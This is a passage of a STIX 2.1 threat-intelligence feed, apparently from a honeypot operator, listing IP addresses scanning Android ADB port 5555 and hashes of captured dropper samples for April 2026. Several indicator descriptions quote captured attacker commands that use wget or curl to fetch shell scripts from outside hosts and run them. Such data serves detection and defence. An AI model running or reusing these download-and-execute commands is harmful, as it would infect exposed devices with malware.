          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=PK; asn=205759; asn_org=Ghosty Networks LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://43.228.157.130/w.sh; sh w.sh android.exploit; curl http://43.228.157.130/c.sh; sh c.sh android.exploit\"\n\nObserved in ADBHoney telemetry for 2026-04. events=15 | first_seen=2026-04-09T18:19:00.000Z | last_seen=2026-04-09T18:20:56.499Z | ports=5555 | cc=PK | asn=205759 | org=Ghosty Networks LLC",
      "id": "indicator--94504754-5b59-4f97-b470-da3fc60cf22e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.228.157.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:00:02.000Z",
      "valid_until": "2026-05-11T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 15,
          "first_seen": "2026-04-09T18:19:00.000Z",
          "last_seen": "2026-04-09T18:20:56.499Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "205759"
          ],
          "org": [
            "Ghosty Networks LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T19:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/a72d6d0b84b59935f3a90d43ce928be115a8fbce76db566b5841124c7e93cdd4.raw; last_seen=2026-04-09T18:19:05.728Z",
      "id": "indicator--6c43afc9-b22f-4b0a-8a12-f844e37908e8",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'a72d6d0b84b59935f3a90d43ce928be115a8fbce76db566b5841124c7e93cdd4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=10439; asn_org=CariNet, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-09T19:24:39.000Z | last_seen=2026-04-09T19:35:23.480Z | ports=5555 | cc=US | asn=10439 | org=CariNet, Inc.",
      "id": "indicator--3bb87bd1-abb3-4fd1-a8a6-54a00ca01be9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.158.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T20:00:03.000Z",
      "valid_until": "2026-05-11T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-09T19:24:39.000Z",
          "last_seen": "2026-04-09T19:35:23.480Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10439"
          ],
          "org": [
            "CariNet, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=TG; asn=24691; asn_org=TOGOTEL-AS TogoTelecom, Togo; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-09T20:52:54.000Z | last_seen=2026-04-09T21:03:01.708Z | ports=5555 | cc=TG | asn=24691 | org=TOGOTEL-AS TogoTelecom, Togo",
      "id": "indicator--3ed60c69-7899-41c1-b199-e11b8ccf0d3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '196.170.7.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T21:00:02.000Z",
      "valid_until": "2026-05-11T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-09T20:52:54.000Z",
          "last_seen": "2026-04-09T21:03:01.708Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TG"
          ],
          "asn": [
            "24691"
          ],
          "org": [
            "TOGOTEL-AS TogoTelecom, Togo"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-09T20:21:43.000Z | last_seen=2026-04-09T20:22:46.111Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--cea414d3-bb30-4744-a8ce-dd0a2d118e87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T21:00:02.000Z",
      "valid_until": "2026-05-11T21:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-09T20:21:43.000Z",
          "last_seen": "2026-04-09T20:22:46.111Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-09T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://43.228.157.130/w.sh; sh w.sh android.exploit; curl http://43.228.157.130/c.sh; sh c.sh android.exploit\"\n\nObserved in ADBHoney telemetry for 2026-04. events=74 | first_seen=2026-04-09T22:52:16.000Z | last_seen=2026-04-16T15:44:15.591Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--b3bd758b-a077-43da-92b0-924961c3d671",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-09T23:00:02.000Z",
      "valid_until": "2026-05-11T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 74,
          "first_seen": "2026-04-09T22:52:16.000Z",
          "last_seen": "2026-04-16T15:44:15.591Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=BR; asn=28343; asn_org=UNIFIQUE TELECOMUNICACOES SA; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-09T23:08:10.000Z | last_seen=2026-04-09T23:18:15.567Z | ports=5555 | cc=BR | asn=28343 | org=UNIFIQUE TELECOMUNICACOES SA",
      "id": "indicator--270582ff-c6cb-4dde-8462-7c86c025c7e5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '177.104.7.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:00:03.000Z",
      "valid_until": "2026-05-12T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-09T23:08:10.000Z",
          "last_seen": "2026-04-09T23:18:15.567Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "28343"
          ],
          "org": [
            "UNIFIQUE TELECOMUNICACOES SA"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=GB; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.67:83/w.sh; sh w.sh; curl http://94.156.152.67:83/c.sh; sh c.sh; wget http://94.156.152.67:83/wget.sh; sh wg\"\n\nObserved in ADBHoney telemetry for 2026-04. events=250 | first_seen=2026-04-09T23:17:54.000Z | last_seen=2026-04-22T16:59:09.269Z | ports=5555 | cc=GB | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--29f9c37d-491d-4908-8d7c-adce9bdbe21a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:00:03.000Z",
      "valid_until": "2026-05-12T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 250,
          "first_seen": "2026-04-09T23:17:54.000Z",
          "last_seen": "2026-04-22T16:59:09.269Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T00:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/e6c72164c3b8e9666416df0ebe9579d441c7ee679aaa0fd6f7b71d5b9dc8d014.raw; last_seen=2026-04-09T23:18:00.831Z",
      "id": "indicator--b1842f9c-a936-40bf-b939-4a2d11f9836e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'e6c72164c3b8e9666416df0ebe9579d441c7ee679aaa0fd6f7b71d5b9dc8d014']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T00:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/6836b6c562d1d1fbe24fac773b014625223824cbaac61daaf6b8ade2d0665a20.raw; last_seen=2026-04-09T23:17:57.816Z",
      "id": "indicator--faff0d89-d7f4-4618-a59e-6d5f6165e333",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '6836b6c562d1d1fbe24fac773b014625223824cbaac61daaf6b8ade2d0665a20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T00:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/73a23f8c666f227bf19f8c557ebbedbdbc03cbd37d3ec5005a3d285d5c43e66f.raw; last_seen=2026-04-09T23:17:57.018Z",
      "id": "indicator--d74295a0-cd97-497b-ab8f-0e4e1ab768c5",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '73a23f8c666f227bf19f8c557ebbedbdbc03cbd37d3ec5005a3d285d5c43e66f']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T00:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T02:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-10T01:02:44.000Z | last_seen=2026-04-10T01:14:14.429Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--632b18c7-a1b7-42ce-9144-b3d3c8d8b79a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:00:11.000Z",
      "valid_until": "2026-05-12T02:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-10T01:02:44.000Z",
          "last_seen": "2026-04-10T01:14:14.429Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=PT; asn=12353; asn_org=Vodafone Portugal - Communicacoes Pessoais S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-10T03:06:47.000Z | last_seen=2026-04-23T03:43:37.875Z | ports=5555 | cc=PT | asn=12353 | org=Vodafone Portugal - Communicacoes Pessoais S.A.",
      "id": "indicator--41b40bad-e626-472c-9c1a-d29e96ea908d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '148.63.100.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T04:00:02.000Z",
      "valid_until": "2026-05-12T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-10T03:06:47.000Z",
          "last_seen": "2026-04-23T03:43:37.875Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "12353"
          ],
          "org": [
            "Vodafone Portugal - Communicacoes Pessoais S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=211298; asn_org=Driftnet Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-10T03:45:58.000Z | last_seen=2026-04-10T03:47:04.332Z | ports=5555 | cc=GB | asn=211298 | org=Driftnet Ltd",
      "id": "indicator--7c1b0ac1-ca4b-44da-92cd-ac10d576ee88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T04:00:02.000Z",
      "valid_until": "2026-05-12T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-10T03:45:58.000Z",
          "last_seen": "2026-04-10T03:47:04.332Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "211298"
          ],
          "org": [
            "Driftnet Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=EC; asn=14522; asn_org=SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-10T04:42:51.000Z | last_seen=2026-04-10T04:53:02.663Z | ports=5555 | cc=EC | asn=14522 | org=SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC",
      "id": "indicator--af73086d-58a2-4793-82b4-26b1c636e538",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '181.175.2.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:00:02.000Z",
      "valid_until": "2026-05-12T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-10T04:42:51.000Z",
          "last_seen": "2026-04-10T04:53:02.663Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "EC"
          ],
          "asn": [
            "14522"
          ],
          "org": [
            "SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=AR; asn=52380; asn_org=Sista S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-10T04:40:07.000Z | last_seen=2026-04-10T05:24:08.894Z | ports=5555 | cc=AR | asn=52380 | org=Sista S.A.",
      "id": "indicator--4f34cdaf-0cc2-4735-bf46-c632a8367189",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '186.65.85.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:00:02.000Z",
      "valid_until": "2026-05-12T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-10T04:40:07.000Z",
          "last_seen": "2026-04-10T05:24:08.894Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AR"
          ],
          "asn": [
            "52380"
          ],
          "org": [
            "Sista S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-10T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-10T05:25:04.000Z | last_seen=2026-04-10T05:26:05.348Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--9ef53ae3-b91f-48f8-87c6-ae545a504a96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.26.222.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:00:02.000Z",
      "valid_until": "2026-05-12T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
